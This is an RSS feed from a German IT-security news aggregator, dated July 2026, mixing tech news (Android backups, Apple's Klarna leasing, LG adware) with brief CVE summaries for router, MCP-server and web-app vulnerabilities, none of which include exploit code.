<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="/rss-style.xsl"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/" xmlns:dc="http://purl.org/dc/elements/1.1/">
<channel>
<title><![CDATA[Team IT Security - 📰 Alle Kategorien]]></title>
<link><![CDATA[https://tsecurity.de/export/rss/alle-kategorien.xml?q=favorite+frontend+setup+libraries%2F]]></link>
<description><![CDATA[Das Gesamte Cyber Threat Intelligence Feed-Archiv von TSecurity.de. Alle Nachrichten, Sicherheitsmeldungen, Videos, Downloads und Analysen in einer zentralen Übersicht.]]></description>
<language>de-DE</language>
<lastBuildDate>Wed, 29 Jul 2026 00:39:01 +0200</lastBuildDate>
<pubDate>Wed, 29 Jul 2026 00:39:01 +0200</pubDate>
<ttl>15</ttl>
<copyright>2026 Team IT Security</copyright>
<managingEditor>lakandor@tsecurity.de (Horus Sirius)</managingEditor>
<webMaster>lakandor@tsecurity.de (Horus Sirius)</webMaster>
<category>IT Security</category>
<category>Cybersecurity</category>
<category>Nachrichten</category>
<generator>Team IT Security RSS Generator v2.0</generator>
<image>
<url>https://tsecurity.de/favicon.ico</url>
<title><![CDATA[Team IT Security - 📰 Alle Kategorien]]></title>
<link><![CDATA[https://tsecurity.de/export/rss/alle-kategorien.xml?q=favorite+frontend+setup+libraries%2F]]></link>
</image>
<atom:link href="https://tsecurity.de/export/rss/it-security.xml?q=favorite+frontend+setup+libraries%2F" rel="self" type="application/rss+xml" />
<item>
<title><![CDATA[LG’s McAfee adware proves why Microsoft needs to assume the worst of companies and protect Windows 11]]></title>
<description><![CDATA[LG faced backlash after an investigation showed its monitor setup software was pushing McAfee ads to Windows 11 PCs. While Microsoft stepped in to stop the ads, the incident highlights why the OS needs stricter controls on automatic app installations.]]></description>
<link>https://tsecurity.de/de/3695675/windows-tipps/lgs-mcafee-adware-proves-why-microsoft-needs-to-assume-the-worst-of-companies-and-protect-windows-11/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695675/windows-tipps/lgs-mcafee-adware-proves-why-microsoft-needs-to-assume-the-worst-of-companies-and-protect-windows-11/</guid>
<pubDate>Sun, 26 Jul 2026 15:22:38 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[LG faced backlash after an investigation showed its monitor setup software was pushing McAfee ads to Windows 11 PCs. While Microsoft stepped in to stop the ads, the incident highlights why the OS needs stricter controls on automatic app installations.]]></content:encoded>
</item>
<item>
<title><![CDATA[stock3 Wochenend-Setup: Wenn Sicherheitsrisiken zur Chance werden!]]></title>
<description><![CDATA[Cybersecurity ist damit einer der wichtigsten und am schnellsten wachsenden IT‑Sektoren. ... Cyber-Security-Unternehmen steht. Charttechnisch lässt sich ...]]></description>
<link>https://tsecurity.de/de/3695642/it-security-nachrichten/stock3-wochenend-setup-wenn-sicherheitsrisiken-zur-chance-werden/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695642/it-security-nachrichten/stock3-wochenend-setup-wenn-sicherheitsrisiken-zur-chance-werden/</guid>
<pubDate>Sun, 26 Jul 2026 14:55:08 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Cybersecurity ist damit einer der wichtigsten und am schnellsten wachsenden IT‑Sektoren. ... <b>Cyber</b>-<b>Security</b>-Unternehmen steht. Charttechnisch lässt sich ...]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-5349 | Trendnet TEW-657BRM 1.00.1 /setup.cgi add_apcdb mac_pc_dba stack-based overflow]]></title>
<description><![CDATA[A vulnerability marked as critical has been reported in Trendnet TEW-657BRM 1.00.1. The affected element is the function add_apcdb of the file /setup.cgi. The manipulation of the argument mac_pc_dba leads to stack-based buffer overflow. This vulnerability only affects products that are no longer ...]]></description>
<link>https://tsecurity.de/de/3695450/sicherheitsluecken/cve-2026-5349-trendnet-tew-657brm-1001-setupcgi-addapcdb-macpcdba-stack-based-overflow/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695450/sicherheitsluecken/cve-2026-5349-trendnet-tew-657brm-1001-setupcgi-addapcdb-macpcdba-stack-based-overflow/</guid>
<pubDate>Sun, 26 Jul 2026 11:51:00 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability marked as <a href="https://vuldb.com/kb/risk">critical</a> has been reported in <a href="https://vuldb.com/product/trendnet:tew-657brm">Trendnet TEW-657BRM 1.00.1</a>. The affected element is the function <code>add_apcdb</code> of the file <em>/setup.cgi</em>. The manipulation of the argument <em>mac_pc_dba</em> leads to stack-based buffer overflow. This vulnerability only affects products that are no longer supported by the maintainer.

This vulnerability is documented as <a href="https://vuldb.com/cve/CVE-2026-5349">CVE-2026-5349</a>. The attack can be initiated remotely. Additionally, an exploit exists.

The vendor confirms, that "[t]he product in question (...) has been discontinued and end of life since June 23, 2011, that is more than 14 years ago. We no longer provide support for this product, so we are not able to confirm the vulnerabilities. We will make an announcement on our website's product support page and notify customers who registered their products with us."]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-5350 | Trendnet TEW-657BRM 1.00.1 /setup.cgi update_pcdb mac_pc_dba stack-based overflow]]></title>
<description><![CDATA[A vulnerability described as critical has been identified in Trendnet TEW-657BRM 1.00.1. The impacted element is the function update_pcdb of the file /setup.cgi. The manipulation of the argument mac_pc_dba results in stack-based buffer overflow. This vulnerability only affects products that are n...]]></description>
<link>https://tsecurity.de/de/3695446/sicherheitsluecken/cve-2026-5350-trendnet-tew-657brm-1001-setupcgi-updatepcdb-macpcdba-stack-based-overflow/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695446/sicherheitsluecken/cve-2026-5350-trendnet-tew-657brm-1001-setupcgi-updatepcdb-macpcdba-stack-based-overflow/</guid>
<pubDate>Sun, 26 Jul 2026 11:50:58 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability described as <a href="https://vuldb.com/kb/risk">critical</a> has been identified in <a href="https://vuldb.com/product/trendnet:tew-657brm">Trendnet TEW-657BRM 1.00.1</a>. The impacted element is the function <code>update_pcdb</code> of the file <em>/setup.cgi</em>. The manipulation of the argument <em>mac_pc_dba</em> results in stack-based buffer overflow. This vulnerability only affects products that are no longer supported by the maintainer.

This vulnerability is reported as <a href="https://vuldb.com/cve/CVE-2026-5350">CVE-2026-5350</a>. The attack can be launched remotely. Moreover, an exploit is present.

The vendor confirms, that "[t]he product in question (...) has been discontinued and end of life since June 23, 2011, that is more than 14 years ago. We no longer provide support for this product, so we are not able to confirm the vulnerabilities. We will make an announcement on our website's product support page and notify customers who registered their products with us."]]></content:encoded>
</item>
<item>
<title><![CDATA[Samsung Galaxy Z Fold 8 Ultra vs. Motorola Razr Ultra: How Samsung fares against its foldable rival]]></title>
<description><![CDATA[Samsung isn't the only brand with flagship foldables. Here's how it compares to Motorola's Razr Ultra - one of my favorite phones of the year.]]></description>
<link>https://tsecurity.de/de/3695346/it-security-nachrichten/samsung-galaxy-z-fold-8-ultra-vs-motorola-razr-ultra-how-samsung-fares-against-its-foldable-rival/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695346/it-security-nachrichten/samsung-galaxy-z-fold-8-ultra-vs-motorola-razr-ultra-how-samsung-fares-against-its-foldable-rival/</guid>
<pubDate>Sun, 26 Jul 2026 10:17:02 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Samsung isn't the only brand with flagship foldables. Here's how it compares to Motorola's Razr Ultra - one of my favorite phones of the year.]]></content:encoded>
</item>
<item>
<title><![CDATA[Samsung Galaxy Z Fold 8 Ultra vs. Motorola Razr Ultra: How Samsung fares against its foldable rival]]></title>
<description><![CDATA[Samsung isn't the only brand with flagship foldables. Here's how it compares to Motorola's Razr Ultra - one of my favorite phones of the year.]]></description>
<link>https://tsecurity.de/de/3695325/hacking/samsung-galaxy-z-fold-8-ultra-vs-motorola-razr-ultra-how-samsung-fares-against-its-foldable-rival/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695325/hacking/samsung-galaxy-z-fold-8-ultra-vs-motorola-razr-ultra-how-samsung-fares-against-its-foldable-rival/</guid>
<pubDate>Sun, 26 Jul 2026 10:07:35 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Samsung isn't the only brand with flagship foldables. Here's how it compares to Motorola's Razr Ultra - one of my favorite phones of the year.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-17433 | nanocoai NanoClaw up to 2.0.64 MCP Server Approval chat-sdk-bridge.ts createChatSdkBridge.setup improper authorization (Issue 2761 / EUVD-2026-49048)]]></title>
<description><![CDATA[A vulnerability was found in nanocoai NanoClaw up to 2.0.64. It has been classified as critical. This impacts the function createChatSdkBridge.setup of the file src/channels/chat-sdk-bridge.ts of the component MCP Server Approval. Performing a manipulation results in improper authorization.

This...]]></description>
<link>https://tsecurity.de/de/3695270/sicherheitsluecken/cve-2026-17433-nanocoai-nanoclaw-up-to-2064-mcp-server-approval-chat-sdk-bridgets-createchatsdkbridgesetup-improper-authorization-issue-2761-euvd-2026-49048/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695270/sicherheitsluecken/cve-2026-17433-nanocoai-nanoclaw-up-to-2064-mcp-server-approval-chat-sdk-bridgets-createchatsdkbridgesetup-improper-authorization-issue-2761-euvd-2026-49048/</guid>
<pubDate>Sun, 26 Jul 2026 09:19:21 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/nanocoai:nanoclaw">nanocoai NanoClaw up to 2.0.64</a>. It has been classified as <a href="https://vuldb.com/kb/risk">critical</a>. This impacts the function <code>createChatSdkBridge.setup</code> of the file <em>src/channels/chat-sdk-bridge.ts</em> of the component <em>MCP Server Approval</em>. Performing a manipulation results in improper authorization.

This vulnerability was named <a href="https://vuldb.com/cve/CVE-2026-17433">CVE-2026-17433</a>. The attack needs to be approached locally. In addition, an exploit is available.

The project was informed of the problem early through an issue report but has not responded yet.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-30521 | SourceCodester Loan Management System 1.0 Frontend Interface interest_percentage logic error]]></title>
<description><![CDATA[A vulnerability was found in SourceCodester Loan Management System 1.0. It has been rated as critical. Affected by this issue is some unknown functionality of the component Frontend Interface. This manipulation of the argument interest_percentage causes business logic errors.

This vulnerability ...]]></description>
<link>https://tsecurity.de/de/3694945/sicherheitsluecken/cve-2026-30521-sourcecodester-loan-management-system-10-frontend-interface-interestpercentage-logic-error/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694945/sicherheitsluecken/cve-2026-30521-sourcecodester-loan-management-system-10-frontend-interface-interestpercentage-logic-error/</guid>
<pubDate>Sat, 25 Jul 2026 22:49:12 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/sourcecodester:loan_management_system">SourceCodester Loan Management System 1.0</a>. It has been rated as <a href="https://vuldb.com/kb/risk">critical</a>. Affected by this issue is some unknown functionality of the component <em>Frontend Interface</em>. This manipulation of the argument <em>interest_percentage</em> causes business logic errors.

This vulnerability is tracked as <a href="https://vuldb.com/cve/CVE-2026-30521">CVE-2026-30521</a>. The attack is possible to be carried out remotely. No exploit exists.]]></content:encoded>
</item>
<item>
<title><![CDATA[Your instant Android backup upgrade]]></title>
<description><![CDATA[Here in this high-tech era of 2026, keeping important info backed up and synced should be effortless and something that just happens on its own, automatically, without any actual thought or ongoing human effort.



In many areas of our digital life, that mercifully does Just Work™ in exactly that...]]></description>
<link>https://tsecurity.de/de/3694774/ai-nachrichten/your-instant-android-backup-upgrade/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694774/ai-nachrichten/your-instant-android-backup-upgrade/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:10 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Here in this high-tech era of 2026, keeping important info backed up and synced <em>should </em>be effortless and something that just happens on its own, automatically, without any actual thought or ongoing human effort.</p>



<p class="wp-block-paragraph">In many areas of our digital life, that mercifully does Just Work™ in exactly that way. Fire up an email in most modern mail services, and you can stop at any point and find your in-progress draft in that same app on any other device. The same applies to any file you’re finessing within Google Drive or other cloud storage services or document you’re dawdling over in Docs.</p>



<p class="wp-block-paragraph">One area where seamless syncing somehow still <em>doesn’t</em> occur, though, is in the domain of <em>downloaded </em>documents on Android. If someone sends you a PDF or a Word file and you save it to your phone, that file exists in an archaic-seeming silo — only locally, on <em>that</em> one gadget. And that, of course, means (a) you can’t access it from any other device, and (b) if you misplace your phone or move into a new one at some point along the way, the file will be left behind in time and entirely unavailable.</p>



<p class="wp-block-paragraph">Well, take a moment to join me in celebration: Amidst all the <a href="https://www.computerworld.com/article/4136922/google-gemini-3-years.html">Gemini gobbledegook</a> that <a href="https://www.computerworld.com/article/2117752/google-gemini-ai.html">no one asked for</a> (and that often falls somewhere between <a href="https://www.computerworld.com/article/4182583/ai-creepy-era.html">“pointless”</a> and <a href="https://www.computerworld.com/article/3990497/google-gemini-deceit.html">“actively counterproductive”</a>), Google’s giving us a major upgrade to Android’s backup capabilities right now. It’s a simple-seeming switch buried in your system settings, and it’s up to <em>you</em> to find and activate it.</p>



<p class="wp-block-paragraph">Once you do, though, those once-orphaned documents on your Android device’s local storage will be perpetually synced and protected, automatically, without any ongoing thought or effort.</p>



<p class="wp-block-paragraph">All <em>you’ve </em>gotta do is find and flip that one new switch.</p>



<p class="wp-block-paragraph"><strong>[Don’t let yourself miss an ounce of Android Intelligence. </strong><a href="https://www.theintelligence.com/android-cw/" target="_blank" rel="noreferrer noopener"><strong>Join my free weekly Android Intelligence newsletter</strong></a><strong> and get one new thing to try in your inbox every Friday!]</strong></p>



<h2 class="wp-block-heading"><strong>The Android backup lowdown</strong></h2>



<p class="wp-block-paragraph">So, for a quick bit of pertinent context on this: Android’s backup systems have actually come a really long way over the years.</p>



<p class="wp-block-paragraph">‘Twas a time, y’see, when little to nothing about you would sync and carry over automatically from one Android device to another. Years ago — back in the ancient-seeming prehistoric era of the early 2010s — Android enthusiasts in the know would rely on community-created third-party apps for everything from remembering and resyncing downloaded apps to restoring data from within those apps and onward. And reconfiguring your system preferences would be a whole time-consuming song and dance every single time you reset a device or moved into a new one, as little to nothing would automatically carry over.</p>



<p class="wp-block-paragraph">Most of that stuff is now effortless and automatic. And, thanks to apps like Google Messages, Calendar, Drive, and Docs, many <em>other </em>areas of important data are also synced on their own at the app level — outside of any system mechanisms.</p>



<p class="wp-block-paragraph">Locally stored files, however, have remained an awkward omission. To this day, anything you download on any Android device exists only on <em>that</em> <em>one device </em>and isn’t synced or backed up anywhere. The only way that happens is — in a blast-from-the-past twist — if <em>you </em>go out of your way to <a href="https://www.computerworld.com/article/1711741/how-to-back-up-android-phones-complete-guide.html#:~:text=a%20new%20one.-,Files,-The%20easiest%20way">find and set up a third-party app to handle the heavy lifting</a>.</p>



<p class="wp-block-paragraph">That brings us to today. Right now, as we speak, Google’s in the midst of sending out a quiet under-the-hood update that (brace yourself…) adds in the option to automatically sync and back up any documents on your device as a native part of Android’s backup setup.</p>



<p class="wp-block-paragraph">See?</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/android-backup-documents.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Android backup documents" class="wp-image-4198961" width="1024" height="546" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">The easily overlooked new option for backing up documents on Android.</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p class="wp-block-paragraph">The option is on its way to all devices running 2018’s <a href="https://www.computerworld.com/article/1698598/android-9-pie.html">Android 9 release</a> and higher. (If you’re still using a phone with an <a href="https://www.computerworld.com/article/1714347/android-versions-a-living-history-from-1-0-to-today.html">Android version</a> older than that, you’re now a whopping <em>eight years </em>out of date, and you have <a href="https://www.computerworld.com/article/1718016/android-upgrades-matter.html"><em>much</em> bigger problems</a>.)</p>



<p class="wp-block-paragraph">Once the added option is present and available for you, you’re literally lookin’ at 10 seconds to find and activate it.</p>



<p class="wp-block-paragraph">Lemme show ya how.</p>



<h2 class="wp-block-heading"><strong>Android’s document backup addition</strong></h2>



<p class="wp-block-paragraph">I promise: This couldn’t be much simpler.</p>



<p class="wp-block-paragraph">No matter what kind of Android device is in front of you, just head into your system settings and open the section called “Accounts and backup,” “Back up or copy data,” or something along those same lines. (The exact wording can vary based on who made your device and when it was released or last updated.)</p>



<p class="wp-block-paragraph">Either tap the line labeled “Google Backup” or look for an option to “Back up data” via Google Drive. You should then either see a series of options for different areas of available backup right then and there — or, depending on your device, you might have to tap a line labeled “Other device data” (or something similar) to find the full list of possibilities.</p>



<p class="wp-block-paragraph">However you get there, once you’re lookin’ at that list, you’ll see a newly added line for “Documents” if this latest under-the-hood update has reached you.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/android-backup-options.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Android backup options" class="wp-image-4198962" width="1024" height="742" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Android’s expanded list of backup options — now including documents alongside other forms of on-device data.</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p class="wp-block-paragraph">And from there, all that’s left is to tap it and enable the switch to include that in your automated backups from that moment forward.</p>



<p class="wp-block-paragraph">If you aren’t seeing the option yet, don’t panic. Google always sends these under-the-hood updates out bit by bit over time, so the change probably just hasn’t reached your device quite yet. As long as you’re running Android 9 or higher, it’ll get there. Set yourself a reminder to check back once a week or so. Odds are, you’ll see it pretty soon.</p>



<p class="wp-block-paragraph">Notably, all documents synced in this way are always encrypted for security, and they’re kept in your personal (or, depending on the nature of your account, perhaps company-connected) Google Drive storage. That <em>does</em> mean they’ll count against your overall Google storage total, so keep an eye on your <a href="https://drive.google.com/drive/u/0/quota" target="_blank" rel="noreferrer noopener">Drive storage total</a> to make sure you’re in solid shape and look to the <a href="https://one.google.com/storage/management?from=1&amp;g1_landing_page=1" target="_blank" rel="noreferrer noopener">Google One storage hub</a> if you ever want some simple suggestions for freeing up space.</p>



<p class="wp-block-paragraph">Speaking of other Google services: If you ever want to keep <em>other</em> types of locally stored <em>non</em>-document files from an Android device synced and available elsewhere, you can easily rely on <a href="https://www.computerworld.com/article/1711741/how-to-back-up-android-phones-complete-guide.html#:~:text=in-app%20upgrade.-,Photos%20and%20music,-OK%2C%20so%20they">Google Photos for syncing screenshots and other images</a> — after enabling sync in general, be sure to look in the app’s “Collections” areas to find the “On this device” folder and then flip the toggle to “Backup all device folders” (or get more nuanced and open specific <em>individual </em>on-device folders if you want to sync some but not all of those areas) — and you can still turn to <a href="https://www.computerworld.com/article/1711741/how-to-back-up-android-phones-complete-guide.html#:~:text=a%20new%20one.-,Files,-The%20easiest%20way">those aforementioned third-party apps</a> for broader syncing of anything else imaginable.</p>



<p class="wp-block-paragraph">But with documents now being handled automatically and natively, that’s one big worry now out of your hair. Just note that the onus will fall on <em>you </em>to find and flip the switch and actively opt in to the feature on each and every Android device you’re using.</p>



<p class="wp-block-paragraph">Take 10 seconds to do that, though, and you’ll have one less void in your Android data arena. And you don’t need Gemini to tell you that <em>that </em>can only be a good thing.</p>



<p class="wp-block-paragraph"><em>Get practical Android knowledge in your inbox every Friday with </em><a href="https://www.theintelligence.com/android-cw/" target="_blank" rel="noreferrer noopener"><strong><em>my free Android Intelligence newsletter</em></strong></a><strong><em> </em></strong><em>— one new thing to try each week, straight from me to you.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Own nothing, upgrade everything: Apple’s new Klarna deal]]></title>
<description><![CDATA[Just in time for the iPhone’s 20th anniversary, Apple is moving closer to becoming a service company. It is set to launch its new deal with Klarna next week and when it does, Apple enthusiasts in the US will effectively be able to subscribe to their favorite Apple hardware, with the cost spread a...]]></description>
<link>https://tsecurity.de/de/3694772/ai-nachrichten/own-nothing-upgrade-everything-apples-new-klarna-deal/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694772/ai-nachrichten/own-nothing-upgrade-everything-apples-new-klarna-deal/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:09 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Just in time for the iPhone’s 20th anniversary, Apple is moving closer to becoming a service company. It is set to <a href="https://www.reuters.com/business/apple-launch-upgrade-device-leasing-program-spur-sales-bloomberg-news-reports-2026-07-21/" target="_blank" rel="noreferrer noopener">launch its new deal</a> with Klarna next week and when it does, Apple enthusiasts in the US will effectively be able to subscribe to their favorite Apple hardware, with the cost spread across up to three years.</p>



<p class="wp-block-paragraph">This matters because when combined with Apple One and Apple’s Creator Studio subscriptions, the Klarna arrangement brings Apple closer to offering a full subscription model for hardware, software, and services. The only thing you don’t get under the new arrangement is AppleCare, for which you’ll allegedly need to pay extra.</p>



<h2 class="wp-block-heading"><strong>Moving closer to hardware-as-a-service</strong></h2>



<p class="wp-block-paragraph">Apple has slowly been <a href="https://www.applemust.com/opinion-how-you-will-access-apple-products-in-future/#google_vignette" target="_blank" rel="noreferrer noopener">transitioning toward</a> hardware-as-a-service for almost a decade. Back then, Forrester analyst <a href="https://www.applemust.com/apple-klarna-mean-we-can-now-get-apple-as-a-service/" target="_blank" rel="noreferrer noopener">Frank Gillet predicted</a> the company would eventually offer bundles of services and products for a monthly, all-in, fee. </p>



<p class="wp-block-paragraph">This isn’t quite where we are yet; you still need at least three subscriptions to get close. But, after the better part of a decade, Apple has moved much nearer to the hardware-as-a-service idea.</p>



<p class="wp-block-paragraph">There are some products reportedly excluded from the arrangement, including MacBook Neo, Apple Watch SE, the entry-level iPad, and iPhone 16. Clearly, Apple sees those products as sufficiently affordable. </p>



<h2 class="wp-block-heading"><strong>Easy payments for RAM-ageddon</strong></h2>



<p class="wp-block-paragraph">The new Klarna arrangement comes as Apple is forced to increase product prices as AI-driven memory price inflation becomes widely felt across every economy. In theory, I assume, Apple hopes to make its products available to cash-strapped consumers who need new hardware, while also navigating a time of deep economic tumult and uncertainty. It’s thought the company has <a href="https://www.bloomberg.com/news/newsletters/2025-04-06/will-apple-raise-iphone-prices-in-the-us-after-trump-tariffs-iphone-17-details" target="_blank" rel="noreferrer noopener">previously rejected these plans</a> to protect normal hardware sales, but normality is a kingdom we no longer seem to possess. Interesting times. Probable inflation incoming.</p>



<p class="wp-block-paragraph">“Apple Upgrade lands at precisely the moment Apple needs it,” IDC analyst Francisco Jeronimo wrote in a note seen by <em>Computerworld</em>. “Having just pushed Mac and iPad prices up on the back of the memory shortage, with iPhone increases widely expected in September — as well as the new iPhone foldable expected at $2,500 — Apple’s real risk is that rising prices even further can impact the upgrade cycle.” </p>



<h2 class="wp-block-heading"><strong>New age, new shopping habits</strong></h2>



<p class="wp-block-paragraph">The introduction of the scheme gives consumers a way to purchase the company’s popular high-end devices when they are introduced — no doubt,at higher cost — this fall. Plus, of course, if it’s <a href="https://www.businessinsider.com/general-motors-gm-earnings-subscriptions-revenue-business-2026-1" target="_blank" rel="noreferrer noopener">good enough for GM</a>, it’s good enough for Apple.</p>



<p class="wp-block-paragraph">It’s all about attitude, too. From Apple’s perspective, it <a href="https://www.computerworld.com/article/4125784/are-you-ready-for-apple-as-a-service.html">has done plenty of the groundwork</a> required to <a href="https://www.applemust.com/apple-vp-eddy-cue-shares-15-important-apple-services-stats/" target="_blank" rel="noreferrer noopener">convince its customers</a> that subscription payments for things you value are no bad thing. </p>



<p class="wp-block-paragraph">Reluctance to embrace “Access Not Ownership’”purchasing models has dropped dramatically since Apple — and <a href="https://www.computerworld.com/article/1665439/apples-tim-cook-has-kept-his-50b-services-promises.html">CEO Tim Cook</a> — first began <a href="https://www.applemust.com/apples-50b-services-target-just-isnt-ambitious-enough/">banging the drum</a> for services income. Apple’s services stream has now become its second-biggest revenue driver after the iPhone. It has over 1 billion paid subscriptions, and an active hardware installed base of <a href="https://www.computerworld.com/article/4168225/wwdc-2026-how-apple-can-take-a-great-leap-in-ai.html">more than 2.5 billion devices globally</a>.</p>



<p class="wp-block-paragraph">A combination of changed customer habits and external threat means the stars are now aligned for hardware-as-a-service models. “Reframing a device as a low monthly payment protects that [upgrade] cadence and allows Apple to start marketing their products as device-as-a-service to consumers, which no other vendor was ever able to do,” Jeronimo wrote to me. </p>



<p class="wp-block-paragraph">There is a one-more-thing aspect to this: the products are effectively being leased, a new approach that will give Apple a stronger grip on EOL devices, helping it grab more of them for refurbishment, resale, and recycling. Over time, this will give the company a much stronger grip on the lucrative second-user market that exists around Apple equipment, even while for almost every consumer product we find the life we want is something we can rent, but <a href="https://medium.com/from-heart-to-hand/the-subscription-society-what-happens-when-you-own-nothing-ef32d5bc32d2" target="_blank" rel="noreferrer noopener">probably can’t afford to own</a>.</p>



<h2 class="wp-block-heading"><strong>Managing future risk</strong></h2>



<p class="wp-block-paragraph">The other solid reason to take a partnership approach is risk management. Apple had intended to develop its own buy-now, pay-later scheme via Apple Pay Later, but <a href="https://www.bbc.co.uk/news/articles/c255y82y9x8o" target="_blank" rel="noreferrer noopener">abandoned that plan</a> as it became riskier with rising bank rates. “Also, by backing the program with Klarna rather than reviving the in-house subscription plan it shelved in 2024, Apple captures the demand upside without taking the credit risk onto its own balance sheet,” Jeronimo said.</p>



<p class="wp-block-paragraph"><em>You can follow me on social media! Join me on <a href="https://bsky.app/profile/jonnyevanssays.bsky.social" target="_blank" rel="noreferrer noopener">BlueSky</a>,  <a href="http://www.linkedin.com/in/jonnyevans" target="_blank" rel="noreferrer noopener">LinkedIn</a>, <a href="https://social.vivaldi.net/@jonnyevans" target="_blank" rel="noreferrer noopener">Mastodon</a> and subscribe to <a href="https://thecorenews.substack.com/p/welcome-to-the-core?r=5l3lg" target="_blank" rel="noreferrer noopener">The Core</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Librarians are hosting viral ‘Avoiding AI’ workshops for people who are fed up with Big Tech]]></title>
<description><![CDATA[At libraries around the country, "Avoiding AI" workshops have elicited unprecedented demand.]]></description>
<link>https://tsecurity.de/de/3694723/ai-nachrichten/librarians-are-hosting-viral-avoiding-ai-workshops-for-people-who-are-fed-up-with-big-tech/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694723/ai-nachrichten/librarians-are-hosting-viral-avoiding-ai-workshops-for-people-who-are-fed-up-with-big-tech/</guid>
<pubDate>Sat, 25 Jul 2026 19:49:39 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[At libraries around the country, "Avoiding AI" workshops have elicited unprecedented demand.]]></content:encoded>
</item>
<item>
<title><![CDATA[Building Self-Evolving AI Agents with OpenSpace Using Skills, MCP, Lineage, and Low-Cost Reuse]]></title>
<description><![CDATA[Discover how to create self-evolving AI agents using the OpenSpace framework. This tutorial guides you through the entire workflow—from environment setup and custom skill creation to MCP integration and using SQLite to manage agent lineage—empowering you to build more efficient, reusable agent sy...]]></description>
<link>https://tsecurity.de/de/3694704/ai-nachrichten/building-self-evolving-ai-agents-with-openspace-using-skills-mcp-lineage-and-low-cost-reuse/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694704/ai-nachrichten/building-self-evolving-ai-agents-with-openspace-using-skills-mcp-lineage-and-low-cost-reuse/</guid>
<pubDate>Sat, 25 Jul 2026 19:49:20 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Discover how to create self-evolving AI agents using the OpenSpace framework. This tutorial guides you through the entire workflow—from environment setup and custom skill creation to MCP integration and using SQLite to manage agent lineage—empowering you to build more efficient, reusable agent systems.</p>
<p>The post <a href="https://www.marktechpost.com/2026/07/25/building-self-evolving-ai-agents-with-openspace-using-skills-mcp-lineage-and-low-cost-reuse/">Building Self-Evolving AI Agents with OpenSpace Using Skills, MCP, Lineage, and Low-Cost Reuse</a> appeared first on <a href="https://www.marktechpost.com/">MarkTechPost</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Agent Kim Reactivated Episode 10 Recap: Ending Explained and Season 2 Setup]]></title>
